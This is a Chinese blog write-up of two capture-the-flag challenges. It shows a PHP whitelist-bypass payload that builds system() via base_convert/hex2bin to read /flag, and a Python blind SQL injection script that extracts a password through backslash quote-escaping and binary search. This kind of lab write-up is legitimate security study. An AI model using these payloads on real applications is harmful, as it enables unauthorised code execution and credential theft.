首页 > 技术文章 > buuctf [CISCN 2019 初赛]Love Math&&[BJDCTF 2nd]简单注入

BreakdDawn 2020-07-15 17:00 原文

一、[CISCN 2019 初赛]Love Math

根据代码意思,应该就是通过使用白名单函数或者当成变量来使用,同时要求长度小于80

 

看到最后的exec,我们需要构造出system($_GET['a']),而这个已经被挡住了,我们可以传入a=system,b=cat /flag来获取flag

但还是需要得到_GET,另外中括号可以用大括号代替

base_convert(number,frombase,tobase);

将number从frombase进制转化为tobase进制

hex2bin()

把十六进制值转换为 ASCII 字符:

dechex()

把10进制转换为16进制

有base_convert(26941962055,10,34)即hex2bin   26941962055是base_convert("hex2bin",34,10)得来的,至于为什么34,我试过34之前的,都无法完整拼出henx2bin,到34就能

然后找到_GET的ascii码之后再转为16进制之后10进制即1598506324

dechex(1598506324)得到_GET的16进制,再通过hex2bin得出_GET

payload:

?c=$pi=base_convert(26941962055,10,34)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag

 

 

二、[BJDCTF 2nd]简单注入

用户名为admin\,将后面的单引号转义,再通过password= or if(ascii(substr(username,1,1))>100,1,0)#来判断username,以及password

使用脚本来找

import requests

url = 'http://d17c0398-67cb-471f-9190-c1c2cd35e810.node3.buuoj.cn'

data = {"username":"admin\\","password":""}

i = 0
flag = ""

while (True):
    i = i+1
    l = 32
    r = 127
    while(l < r):
        mid = (l + r) >>1
        password = "or/**/if(ascii(substr(password,%d,1))>%d,1,0)#"%(i,mid)
        data['password'] = password
        res = requests.post(url,data=data)
        if "stronger" in res.text:
            l = mid + 1
        else:
            r = mid

    if l != 32:
        flag = flag + chr(l)
    else:
        break
    print(flag)

 

推荐阅读